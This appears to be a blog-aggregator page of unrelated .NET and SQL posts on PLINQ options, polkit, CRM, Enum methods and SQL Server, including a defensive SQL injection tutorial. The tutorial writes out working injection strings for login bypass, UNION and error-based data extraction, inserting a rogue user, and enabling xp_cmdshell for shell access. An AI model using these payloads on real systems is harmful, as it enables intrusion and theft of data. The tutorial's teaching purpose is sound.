pixelData.GetUpperBound(1); ++col) { pixelData[row, col] = AdjustContrast(pixelData[row, col], minPixel, maxPixel); } }); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Here, we’re looping through an image, and calling a method on each pixel in the image.  If this was being done on a separate thread, and we knew another thread within our system was going to be doing a similar operation, we likely would want to restrict this to using half of the cores on the system.  This could be accomplished easily by doing: var options = new ParallelOptions(); options.MaxDegreeOfParallelism = Math.Max(Environment.ProcessorCount / 2, 1); Parallel.For(0, pixelData.GetUpperBound(0), options, row => { for (int col=0; col < pixelData.GetUpperBound(1); ++col) { pixelData[row, col] = AdjustContrast(pixelData[row, col], minPixel, maxPixel); } }); Now, we’re restricting this routine to using no more than half the cores in our system.  Note that I included a check to prevent a single core system from supplying zero; without this check, we’d potentially cause an exception.  I also did not hard code a specific value for the MaxDegreeOfParallelism property.  One of our goals when parallelizing a routine is allowing it to scale on better hardware.  Specifying a hard-coded value would contradict that goal. Parallel LINQ also supports configuration, and in fact, has quite a few more options for configuring the system.  The main configuration option we most often need is the same as our TPL option: we need to supply the maximum number of processing threads.  In PLINQ, this is done via a new extension method on ParallelQuery<T>: ParallelEnumerable.WithDegreeOfParallelism. Let’s revisit our declarative data parallelism sample from Part 6: double min = collection.AsParallel().Min(item => item.PerformComputation()); Here, we’re performing a computation on each element in the collection, and saving the minimum value of this operation.  If we wanted to restrict this to a limited number of threads, we would add our new extension method: int maxThreads = Math.Max(Environment.ProcessorCount / 2, 1); double min = collection .AsParallel() .WithDegreeOfParallelism(maxThreads) .Min(item => item.PerformComputation()); This automatically restricts the PLINQ query to half of the threads on the system. PLINQ provides some additional configuration options.  By default, PLINQ will occasionally revert to processing a query in parallel.  This occurs because many queries, if parallelized, typically actually cause an overall slowdown compared to a serial processing equivalent.  By analyzing the “shape” of the query, PLINQ often decides to run a query serially instead of in parallel.  This can occur for (taken from MSDN): Queries that contain a Select, indexed Where, indexed SelectMany, or ElementAt clause after an ordering or filtering operator that has removed or rearranged original indices. Queries that contain a Take, TakeWhile, Skip, SkipWhile operator and where indices in the source sequence are not in the original order. Queries that contain Zip or SequenceEquals, unless one of the data sources has an originally ordered index and the other data source is indexable (i.e. an array or IList(T)). Queries that contain Concat, unless it is applied to indexable data sources. Queries that contain Reverse, unless applied to an indexable data source. If the specific query follows these rules, PLINQ will run the query on a single thread.  However, none of these rules look at the specific work being done in the delegates, only at the “shape” of the query.  There are cases where running in parallel may still be beneficial, even if the shape is one where it typically parallelizes poorly.  In these cases, you can override the default behavior by using the WithExecutionMode extension method.  This would be done like so: var reversed = collection .AsParallel() .WithExecutionMode(ParallelExecutionMode.ForceParallelism) .Select(i => i.PerformComputation()) .Reverse(); Here, the default behavior would be to not parallelize the query unless collection implemented IList<T>.  We can force this to run in parallel by adding the WithExecutionMode extension method in the method chain. Finally, PLINQ has the ability to configure how results are returned.  When a query is filtering or selecting an input collection, the results will need to be streamed back into a single IEnumerable<T> result.  For example, the method above returns a new, reversed collection.  In this case, the processing of the collection will be done in parallel, but the results need to be streamed back to the caller serially, so they can be enumerated on a single thread. This streaming introduces overhead.  IEnumerable<T> isn’t designed with thread safety in mind, so the system needs to handle merging the parallel processes back into a single stream, which introduces synchronization issues.  There are two extremes of how this could be accomplished, but both extremes have disadvantages. The system could watch each thread, and whenever a thread produces a result, take that result and send it back to the caller.  This would mean that the calling thread would have access to the data as soon as data is available, which is the benefit of this approach.  However, it also means that every item is introducing synchronization overhead, since each item needs to be merged individually. On the other extreme, the system could wait until all of the results from all of the threads were ready, then push all of the results back to the calling thread in one shot.  The advantage here is that the least amount of synchronization is added to the system, which means the query will, on a whole, run the fastest.  However, the calling thread will have to wait for all elements to be processed, so this could introduce a long delay between when a parallel query begins and when results are returned. The default behavior in PLINQ is actually between these two extremes.  By default, PLINQ maintains an internal buffer, and chooses an optimal buffer size to maintain.  Query results are accumulated into the buffer, then returned in the IEnumerable<T> result in chunks.  This provides reasonably fast access to the results, as well as good overall throughput, in most scenarios. However, if we know the nature of our algorithm, we may decide we would prefer one of the other extremes.  This can be done by using the WithMergeOptions extension method.  For example, if we know that our PerformComputation() routine is very slow, but also variable in runtime, we may want to retrieve results as they are available, with no bufferring.  This can be done by changing our above routine to: var reversed = collection .AsParallel() .WithExecutionMode(ParallelExecutionMode.ForceParallelism) .WithMergeOptions(ParallelMergeOptions.NotBuffered) .Select(i => i.PerformComputation()) .Reverse(); On the other hand, if are already on a background thread, and we want to allow the system to maximize its speed, we might want to allow the system to fully buffer the results: var reversed = collection .AsParallel() .WithExecutionMode(ParallelExecutionMode.ForceParallelism) .WithMergeOptions(ParallelMergeOptions.FullyBuffered) .Select(i => i.PerformComputation()) .Reverse(); Notice, also, that you can specify multiple configuration options in a parallel query.  By chaining these extension methods together, we generate a query that will always run in parallel, and will always complete before making the results available in our IEnumerable<T>.

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  • polkit: disable all users except those in group wheel?

    - by John Nash
    Is it possible to do the following using 1 polkit .pkla file? Disable all users except those in the wheel group from using polkit. The users in the wheel group will need to provide the root password when using polkit. /etc/polkit-1/localauthority/50-local.d/wheel-only.pkla [disable all users except the wheel group] Identity=unix-group:wheel Action=* ResultAny=??? ResultInactive=??? ResultActive=??? The following file works but you need to provide all the users in /etc/group: [disable all users except those in the wheel group: root and myuser] Identity=unix-user:daemon;unix-user:bin;unix-user:sys;unix-user:adm;unix-user:tty;unix-user:disk;unix-user:lp;unix-user:mail;unix-user:news;unix-user:uucp;unix-user:man;unix-user:proxy;unix-user:kmem;unix-user:dialout;unix-user:fax;unix-user:voice;unix-user:cdrom;unix-user:floppy;unix-user:tape;unix-user:sudo;unix-user:audio;unix-user:dip;unix-user:www-data;unix-user:backup;unix-user:operator;unix-user:list;unix-user:irc;unix-user:src;unix-user:gnats;unix-user:shadow;unix-user:utmp;unix-user:video;unix-user:sasl;unix-user:plugdev;unix-user:staff;unix-user:games;unix-user:users;unix-user:nogroup;unix-user:libuuid;unix-user:crontab;unix-user:messagebus;unix-user:Debian-exim;unix-user:mlocate;unix-user:avahi;unix-user:netdev;unix-user:bluetooth;unix-user:lpadmin;unix-user:ssl-cert;unix-user:fuse;unix-user:utempter;unix-user:Debian-gdm;unix-user:scanner;unix-user:saned;unix-user:i2c;unix-user:haldaemon;unix-user:powerdev Action=* ResultAny=no ResultInactive=no ResultActive=no

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  • The Other "C" in CRM

    - by Brian Dayton
    Folks who know me know that I rarely, if ever, talk politics. And I never talk politicians. Having grown up in a household with one parent leaning left and the other leaning to the right it was the best way to keep the peace. This isn't about politics. It's about "constituents" and the need to improve the services and service levels for people--at the city, county, state/province, etc. level all the way up to national governments. As a citizen and tax payer it's also important to me that these services be provided at a reasonable cost. If there's a better and more efficient way to do something then it's my hope that a public sector organization takes advantage of technology the same way private sector companies do. Social services organizations have a complex job. They provide the services that people need, from healthcare and children's assistance to helping people find jobs. But many of these organizations are still managing these processes manually or outdated, home-grown applications that could have been written up to 30 years ago. A lot has changed in technology. On the (this is as political as I'm going to get) political front, stakeholders like you and me are expecting greater transparency on where and how funds are spent. I'll admit that most of the time, when I think about CRM systems, I think about my experience as a customer of my bank, utilities company or cable operator. But now that I'm older, have children and a house--I find myself interacting more and more with agencies and services organizations. My experiences are sometimes good and sometimes not so good. Along those lines, last week's announcement of Siebel CRM 8.2 for Public Sector caught my eye. You may not work in the public sector, but you are a constituent of some--actually a lot--of public sector organizations. I don't know which CRM systems city and county utilize but I'm going to start paying closer attention.

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  • SQL SERVER – Take the Quiz for a chance to win a Quadcopter Drone – Brain Teasers

    - by Pinal Dave
    It has been a long time since we ran quiz. So let us get ready for a quiz. The quiz has two parts. You have to get both the parts correct to win Quadcopter with Camera (we will call it drone). We will be giving away a total of 2 Quadcopters. The quiz is extremely easy and I will ship the Drone anywhere in the world where Amazon will ship it. Let us jump directly to the quiz. Please complete all the three questions of the contest.  Contest Part 1: Brain Teasers There are two questions for you in this part of the contest. Question: There are two 7s. How will you write select statement with a single operator that returns single 7? Hint: SELECT 7(Answer)7 Question: Write down the shortest code that produces 1 without using any numbers in the select statement? Hint: SELECT (Answer) Contest Part 2: Download and Activate Rapid SQL Question: Download and Activate Rapid SQL. Hint: You have to download and activate Rapid SQL. If you do not activate Rapid SQL, you will be disqualified for the contest. Why take risk, let us start! That’s it! Just answer above questions in the following comments area, in following format. Remember: Use comments area right below the blog to take participation in the contest Answer before June 5, 2014 midnight GMT. The winner will be announced on June 8. The winner will be selected randomly from all the valid answers. All the valid answers will be kept hidden till June 5, 2014. There will be a total of two winners. The contest is open for any country of the world where Amazon ships products. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: PostADay, SQL, SQL Authority, SQL Puzzle, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • The art of Unit Testing with Examples in .NET

    - by outcoldman
    First time when I familiarized with unit testing was 5 or 6 years ago. It was start of my developing career. I remember that somebody told me about code coverage. At that time I didn’t write any Unit tests. Guy, who was my team lead, told me “Do you see operator if with three conditions? You should check all of these conditions”. So, after that I had written some code, I should go to interface and try to invoke all code which I wrote from user interface. Nice? At current time I know little more about tests and unit testing. I have not participated in projects, designed by Test Driven Development (TDD). Basics of my knowledge are a spying code of my colleagues, some articles and screencasts. I had decide that I should know much more, and became a real professional of unit testing, this is why I had start to read book The art of Unit Testing with Examples in .NET. More than, in my current job place looks like I’m just one who writing unit tests for my code. I should show good examples of my tests. ,a href="http://outcoldman.ru/en/blog/show/267"Read more...

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  • C#/.NET Little Wonders: Fun With Enum Methods

    - by James Michael Hare
    Once again lets dive into the Little Wonders of .NET, those small things in the .NET languages and BCL classes that make development easier by increasing readability, maintainability, and/or performance. So probably every one of us has used an enumerated type at one time or another in a C# program.  The enumerated types we create are a great way to represent that a value can be one of a set of discrete values (or a combination of those values in the case of bit flags). But the power of enum types go far beyond simple assignment and comparison, there are many methods in the Enum class (that all enum types “inherit” from) that can give you even more power when dealing with them. IsDefined() – check if a given value exists in the enum Are you reading a value for an enum from a data source, but are unsure if it is actually a valid value or not?  Casting won’t tell you this, and Parse() isn’t guaranteed to balk either if you give it an int or a combination of flags.  So what can we do? Let’s assume we have a small enum like this for result codes we want to return back from our business logic layer: 1: public enum ResultCode 2: { 3: Success, 4: Warning, 5: Error 6: } In this enum, Success will be zero (unless given another value explicitly), Warning will be one, and Error will be two. So what happens if we have code like this where perhaps we’re getting the result code from another data source (could be database, could be web service, etc)? 1: public ResultCode PerformAction() 2: { 3: // set up and call some method that returns an int. 4: int result = ResultCodeFromDataSource(); 5:  6: // this will suceed even if result is < 0 or > 2. 7: return (ResultCode) result; 8: } So what happens if result is –1 or 4?  Well, the cast does not fail, so what we end up with would be an instance of a ResultCode that would have a value that’s outside of the bounds of the enum constants we defined. This means if you had a block of code like: 1: switch (result) 2: { 3: case ResultType.Success: 4: // do success stuff 5: break; 6:  7: case ResultType.Warning: 8: // do warning stuff 9: break; 10:  11: case ResultType.Error: 12: // do error stuff 13: break; 14: } That you would hit none of these blocks (which is a good argument for always having a default in a switch by the way). So what can you do?  Well, there is a handy static method called IsDefined() on the Enum class which will tell you if an enum value is defined.  1: public ResultCode PerformAction() 2: { 3: int result = ResultCodeFromDataSource(); 4:  5: if (!Enum.IsDefined(typeof(ResultCode), result)) 6: { 7: throw new InvalidOperationException("Enum out of range."); 8: } 9:  10: return (ResultCode) result; 11: } In fact, this is often recommended after you Parse() or cast a value to an enum as there are ways for values to get past these methods that may not be defined. If you don’t like the syntax of passing in the type of the enum, you could clean it up a bit by creating an extension method instead that would allow you to call IsDefined() off any isntance of the enum: 1: public static class EnumExtensions 2: { 3: // helper method that tells you if an enum value is defined for it's enumeration 4: public static bool IsDefined(this Enum value) 5: { 6: return Enum.IsDefined(value.GetType(), value); 7: } 8: }   HasFlag() – an easier way to see if a bit (or bits) are set Most of us who came from the land of C programming have had to deal extensively with bit flags many times in our lives.  As such, using bit flags may be almost second nature (for a quick refresher on bit flags in enum types see one of my old posts here). However, in higher-level languages like C#, the need to manipulate individual bit flags is somewhat diminished, and the code to check for bit flag enum values may be obvious to an advanced developer but cryptic to a novice developer. For example, let’s say you have an enum for a messaging platform that contains bit flags: 1: // usually, we pluralize flags enum type names 2: [Flags] 3: public enum MessagingOptions 4: { 5: None = 0, 6: Buffered = 0x01, 7: Persistent = 0x02, 8: Durable = 0x04, 9: Broadcast = 0x08 10: } We can combine these bit flags using the bitwise OR operator (the ‘|’ pipe character): 1: // combine bit flags using 2: var myMessenger = new Messenger(MessagingOptions.Buffered | MessagingOptions.Broadcast); Now, if we wanted to check the flags, we’d have to test then using the bit-wise AND operator (the ‘&’ character): 1: if ((options & MessagingOptions.Buffered) == MessagingOptions.Buffered) 2: { 3: // do code to set up buffering... 4: // ... 5: } While the ‘|’ for combining flags is easy enough to read for advanced developers, the ‘&’ test tends to be easy for novice developers to get wrong.  First of all you have to AND the flag combination with the value, and then typically you should test against the flag combination itself (and not just for a non-zero)!  This is because the flag combination you are testing with may combine multiple bits, in which case if only one bit is set, the result will be non-zero but not necessarily all desired bits! Thanks goodness in .NET 4.0 they gave us the HasFlag() method.  This method can be called from an enum instance to test to see if a flag is set, and best of all you can avoid writing the bit wise logic yourself.  Not to mention it will be more readable to a novice developer as well: 1: if (options.HasFlag(MessagingOptions.Buffered)) 2: { 3: // do code to set up buffering... 4: // ... 5: } It is much more concise and unambiguous, thus increasing your maintainability and readability. It would be nice to have a corresponding SetFlag() method, but unfortunately generic types don’t allow you to specialize on Enum, which makes it a bit more difficult.  It can be done but you have to do some conversions to numeric and then back to the enum which makes it less of a payoff than having the HasFlag() method.  But if you want to create it for symmetry, it would look something like this: 1: public static T SetFlag<T>(this Enum value, T flags) 2: { 3: if (!value.GetType().IsEquivalentTo(typeof(T))) 4: { 5: throw new ArgumentException("Enum value and flags types don't match."); 6: } 7:  8: // yes this is ugly, but unfortunately we need to use an intermediate boxing cast 9: return (T)Enum.ToObject(typeof (T), Convert.ToUInt64(value) | Convert.ToUInt64(flags)); 10: } Note that since the enum types are value types, we need to assign the result to something (much like string.Trim()).  Also, you could chain several SetFlag() operations together or create one that takes a variable arg list if desired. Parse() and ToString() – transitioning from string to enum and back Sometimes, you may want to be able to parse an enum from a string or convert it to a string - Enum has methods built in to let you do this.  Now, many may already know this, but may not appreciate how much power are in these two methods. For example, if you want to parse a string as an enum, it’s easy and works just like you’d expect from the numeric types: 1: string optionsString = "Persistent"; 2:  3: // can use Enum.Parse, which throws if finds something it doesn't like... 4: var result = (MessagingOptions)Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result == MessagingOptions.Persistent) 7: { 8: Console.WriteLine("It worked!"); 9: } Note that Enum.Parse() will throw if it finds a value it doesn’t like.  But the values it likes are fairly flexible!  You can pass in a single value, or a comma separated list of values for flags and it will parse them all and set all bits: 1: // for string values, can have one, or comma separated. 2: string optionsString = "Persistent, Buffered"; 3:  4: var result = (MessagingOptions)Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 7: { 8: Console.WriteLine("It worked!"); 9: } Or you can parse in a string containing a number that represents a single value or combination of values to set: 1: // 3 is the combination of Buffered (0x01) and Persistent (0x02) 2: var optionsString = "3"; 3:  4: var result = (MessagingOptions) Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 7: { 8: Console.WriteLine("It worked again!"); 9: } And, if you really aren’t sure if the parse will work, and don’t want to handle an exception, you can use TryParse() instead: 1: string optionsString = "Persistent, Buffered"; 2: MessagingOptions result; 3:  4: // try parse returns true if successful, and takes an out parm for the result 5: if (Enum.TryParse(optionsString, out result)) 6: { 7: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 8: { 9: Console.WriteLine("It worked!"); 10: } 11: } So we covered parsing a string to an enum, what about reversing that and converting an enum to a string?  The ToString() method is the obvious and most basic choice for most of us, but did you know you can pass a format string for enum types that dictate how they are written as a string?: 1: MessagingOptions value = MessagingOptions.Buffered | MessagingOptions.Persistent; 2:  3: // general format, which is the default, 4: Console.WriteLine("Default : " + value); 5: Console.WriteLine("G (default): " + value.ToString("G")); 6:  7: // Flags format, even if type does not have Flags attribute. 8: Console.WriteLine("F (flags) : " + value.ToString("F")); 9:  10: // integer format, value as number. 11: Console.WriteLine("D (num) : " + value.ToString("D")); 12:  13: // hex format, value as hex 14: Console.WriteLine("X (hex) : " + value.ToString("X")); Which displays: 1: Default : Buffered, Persistent 2: G (default): Buffered, Persistent 3: F (flags) : Buffered, Persistent 4: D (num) : 3 5: X (hex) : 00000003 Now, you may not really see a difference here between G and F because I used a [Flags] enum, the difference is that the “F” option treats the enum as if it were flags even if the [Flags] attribute is not present.  Let’s take a non-flags enum like the ResultCode used earlier: 1: // yes, we can do this even if it is not [Flags] enum. 2: ResultCode value = ResultCode.Warning | ResultCode.Error; And if we run that through the same formats again we get: 1: Default : 3 2: G (default): 3 3: F (flags) : Warning, Error 4: D (num) : 3 5: X (hex) : 00000003 Notice that since we had multiple values combined, but it was not a [Flags] marked enum, the G and default format gave us a number instead of a value name.  This is because the value was not a valid single-value constant of the enum.  However, using the F flags format string, it broke out the value into its component flags even though it wasn’t marked [Flags]. So, if you want to get an enum to display appropriately for whether or not it has the [Flags] attribute, use G which is the default.  If you always want it to attempt to break down the flags, use F.  For numeric output, obviously D or  X are the best choice depending on whether you want decimal or hex. Summary Hopefully, you learned a couple of new tricks with using the Enum class today!  I’ll add more little wonders as I think of them and thanks for all the invaluable input!   Technorati Tags: C#,.NET,Little Wonders,Enum,BlackRabbitCoder

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